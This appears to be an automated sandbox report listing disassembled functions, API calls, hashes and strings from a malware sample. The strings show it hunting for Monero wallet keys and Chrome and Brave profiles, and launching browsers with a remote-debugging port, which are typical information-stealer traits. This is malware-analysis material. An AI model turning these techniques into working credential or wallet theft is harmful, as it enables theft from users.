Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 39f2bb2082598720f917f028f9b03129cf433bfa91896686081a4fc241122a96
Instruction ID: f47ef9c405a04818c9b871237be077a7dae47cddbb9e083648904a3c7624b8a5
Opcode Fuzzy Hash: 39f2bb2082598720f917f028f9b03129cf433bfa91896686081a4fc241122a96
Instruction Fuzzy Hash: EA114F7090010CABCB14FF65D996AFD3339AF10344F40455DEB0E46492EB38AB18C65A

Function 004F7A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004F7AA0
RtlAllocateHeap.NTDLL(00000000), ref: 004F7AA7
GetComputerNameA.KERNEL32(?,00000104), ref: 004F7ABF

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 05535e6418eb6fd9bde163d12b814b9129f2282e1559b85a5f597dbcff0927a5
Instruction ID: ddca3441d69bf0c1762193d1acbcb12834a5c3ca122d864c31d42da08de27a9d
Opcode Fuzzy Hash: 05535e6418eb6fd9bde163d12b814b9129f2282e1559b85a5f597dbcff0927a5
Instruction Fuzzy Hash: F3016DB1A08249ABCB04CF98DD45FAEBBB8FB44711F10421AF605E2280D7B85A00CBA5

Function 004E1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 004E112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 004E1132
ExitProcess.KERNEL32 ref: 004E1143

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a025fcfcdefb3832c16916275a1b6d525b07fb48025cc5b62a9660b513f9d6db
Instruction ID: f4fcc59eb153109b680c0d93bad169065052fe92db05a8efb994134d0ecf9162
Opcode Fuzzy Hash: a025fcfcdefb3832c16916275a1b6d525b07fb48025cc5b62a9660b513f9d6db
Instruction Fuzzy Hash: 8CE0867098930CFBE7145B919C0AF4D7678AB44B16F104155F7097A1D0C6B82640865C

Function 004E10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 004E10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 004E10F7

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 2327276f05da13a2a4560b10a64f6afa4a20b974823742c1620f7d5dbc0a639e
Instruction ID: 6068a235b875d8290a7c21fbfab098534bb135b598a21a63edf295987e100b6f
Opcode Fuzzy Hash: 2327276f05da13a2a4560b10a64f6afa4a20b974823742c1620f7d5dbc0a639e
Instruction Fuzzy Hash: 4AF0E2B1681208BBE7189AA9AC59FAFB7ACE705B05F304549F500E7290D575AE00CAA8

Function 004E1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004F7A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004F7AA0
Part of subcall function 004F7A70: RtlAllocateHeap.NTDLL(00000000), ref: 004F7AA7
Part of subcall function 004F7A70: GetComputerNameA.KERNEL32(?,00000104), ref: 004F7ABF

Part of subcall function 004F79E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004E11B7), ref: 004F7A10
Part of subcall function 004F79E0: RtlAllocateHeap.NTDLL(00000000), ref: 004F7A17
Part of subcall function 004F79E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 004F7A2F

ExitProcess.KERNEL32 ref: 004E11C6

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: ae04e342b0de08a4e17861be8d67bc8f5a90f4c68cc4cb79929145785f2002aa
Instruction ID: ced878887e3c6f7ee5082c3223cec2c210ee161f194cccc64949cc66583a95ee
Opcode Fuzzy Hash: ae04e342b0de08a4e17861be8d67bc8f5a90f4c68cc4cb79929145785f2002aa
Instruction Fuzzy Hash: 67E0E2B594824956DA1873B6AC06F3B328C5B6920FF04496EFB0896252EA2DF811827D

Non-executed Functions

Function 004EBE40 Relevance: 58.5, APIs: 26, Strings: 7, Instructions: 730fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

FindFirstFileA.KERNEL32(00000000,?,00500B32,00500B2F,00000000,?,?,?,00501450,00500B2E), ref: 004EBEC5
StrCmpCA.SHLWAPI(?,00501454), ref: 004EBF33
StrCmpCA.SHLWAPI(?,00501458), ref: 004EBF49
FindNextFileA.KERNEL32(000000FF,?), ref: 004EC8A9
FindClose.KERNEL32(000000FF), ref: 004EC8BB

Strings

Google Chrome, xrefs: 004EC6F8
--remote-debugging-port=9229 --profile-directory=", xrefs: 004EC495
Brave, xrefs: 004EC0E8
\Brave\Preferences, xrefs: 004EC1C1
--remote-debugging-port=9229 --profile-directory=", xrefs: 004EC3B2
Preferences, xrefs: 004EC104
--remote-debugging-port=9229 --profile-directory=", xrefs: 004EC534

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-1869280968
Opcode ID: f3a1806224ebecd6682cc353c93daf4c847ab62edd050bf32c5915f9faf598ce
Instruction ID: c04c2f83ffc9ca7d942e5593adb9d400821e2a0143f99fbebb3eb067bf2c3872
Opcode Fuzzy Hash: f3a1806224ebecd6682cc353c93daf4c847ab62edd050bf32c5915f9faf598ce
Instruction Fuzzy Hash: 825254B290014C5BCB14FB61DD96EFE733DAF44305F40459EB60A66091EE386B58CF6A

Function 004F3B00 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004F3B1C
FindFirstFileA.KERNEL32(?,?), ref: 004F3B33
lstrcat.KERNEL32(?,?), ref: 004F3B85
StrCmpCA.SHLWAPI(?,00500F58), ref: 004F3B97
StrCmpCA.SHLWAPI(?,00500F5C), ref: 004F3BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 004F3EB7
FindClose.KERNEL32(000000FF), ref: 004F3ECC

Strings

%s\%s\%s, xrefs: 004F3C9A
%s%s, xrefs: 004F3CFD
%s\*, xrefs: 004F3B10
%s\%s, xrefs: 004F3CBF
%s\%s, xrefs: 004F3BCA

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: e19a1157067973a31b11ec7c77f8d790aa18338b15cb8cba5b9366873d6dcf99
Instruction ID: e6ae1bd77531acad72955ebf8b82b62997d6fdd2c425f6dbcb618970a187aa2e
Opcode Fuzzy Hash: e19a1157067973a31b11ec7c77f8d790aa18338b15cb8cba5b9366873d6dcf99
Instruction Fuzzy Hash: 7CA11E71A0020C9BDB24DF64DC85FFE7379BB84705F048699B60D96181DB78AB84CF65

Function 004F4B60 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004F4B7C
FindFirstFileA.KERNEL32(?,?), ref: 004F4B93
StrCmpCA.SHLWAPI(?,00500FC4), ref: 004F4BC1
StrCmpCA.SHLWAPI(?,00500FC8), ref: 004F4BD7
FindNextFileA.KERNEL32(000000FF,?), ref: 004F4DCD
FindClose.KERNEL32(000000FF), ref: 004F4DE2

Strings

%s\%s, xrefs: 004F4BF4
%s\%s, xrefs: 004F4C4B
%s\*, xrefs: 004F4B70

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 90a3858b4a05e25cd097cbd8be52bcf9071919a0a955ea6c5b254280817d0380
Instruction ID: 3e3ce3a695cf97553953a291ad3d42b1377cda8775f22b71744d318983fffbb8
Opcode Fuzzy Hash: 90a3858b4a05e25cd097cbd8be52bcf9071919a0a955ea6c5b254280817d0380
Instruction Fuzzy Hash: B661477190421DABCB24EBA4DC45FEE777CBB88701F00868DF60996191EE74AB84CF95

Function 004F47C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004F47D0
RtlAllocateHeap.NTDLL(00000000), ref: 004F47D7
wsprintfA.USER32 ref: 004F47F6
FindFirstFileA.KERNEL32(?,?), ref: 004F480D
StrCmpCA.SHLWAPI(?,00500FAC), ref: 004F483B
StrCmpCA.SHLWAPI(?,00500FB0), ref: 004F4851
FindNextFileA.KERNEL32(000000FF,?), ref: 004F48DB
FindClose.KERNEL32(000000FF), ref: 004F48F0
lstrcat.KERNEL32(?,0145E758), ref: 004F4915
lstrcat.KERNEL32(?,0145DBA0), ref: 004F4928
lstrlen.KERNEL32(?), ref: 004F4935
lstrlen.KERNEL32(?), ref: 004F4946

Strings

%s\*, xrefs: 004F47EA
%s\%s, xrefs: 004F486B

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 939984fd271ebc65f613e81f6b1ce0c4403be26da325d80cd6e3383ed777b7cc
Instruction ID: 0393f1fd1dbdea359b4f7ef1e1e788ca54df5b2e1b874d2bfa03a7e54119a1bd
Opcode Fuzzy Hash: 939984fd271ebc65f613e81f6b1ce0c4403be26da325d80cd6e3383ed777b7cc
Instruction Fuzzy Hash: 435157B154421CABCB24EB74DC89FEE777CAB98300F008689B60996190DE789B84CF65

Function 004F40F0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004F4113
FindFirstFileA.KERNEL32(?,?), ref: 004F412A
StrCmpCA.SHLWAPI(?,00500F94), ref: 004F4158
StrCmpCA.SHLWAPI(?,00500F98), ref: 004F416E
FindNextFileA.KERNEL32(000000FF,?), ref: 004F42BC
FindClose.KERNEL32(000000FF), ref: 004F42D1

Strings

%s\%s, xrefs: 004F4107

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: ad8c4412ce33412f13cbc3b2db448778c657dc21823abc84b89b210211742642
Instruction ID: 16ec57518e5b7b157e78eba0990677c2335fdbe35370df368e2c2003dd5bde35
Opcode Fuzzy Hash: ad8c4412ce33412f13cbc3b2db448778c657dc21823abc84b89b210211742642
Instruction Fuzzy Hash: B45136B190411CABCB24EB60DD45FEA737CBB94304F00869DB61996090DB79AA85CF58

Function 004EEE20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004EEE3E
FindFirstFileA.KERNEL32(?,?), ref: 004EEE55
StrCmpCA.SHLWAPI(?,00501630), ref: 004EEEAB
StrCmpCA.SHLWAPI(?,00501634), ref: 004EEEC1
FindNextFileA.KERNEL32(000000FF,?), ref: 004EF3AE
FindClose.KERNEL32(000000FF), ref: 004EF3C3

Strings

%s\*.*, xrefs: 004EEE32

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
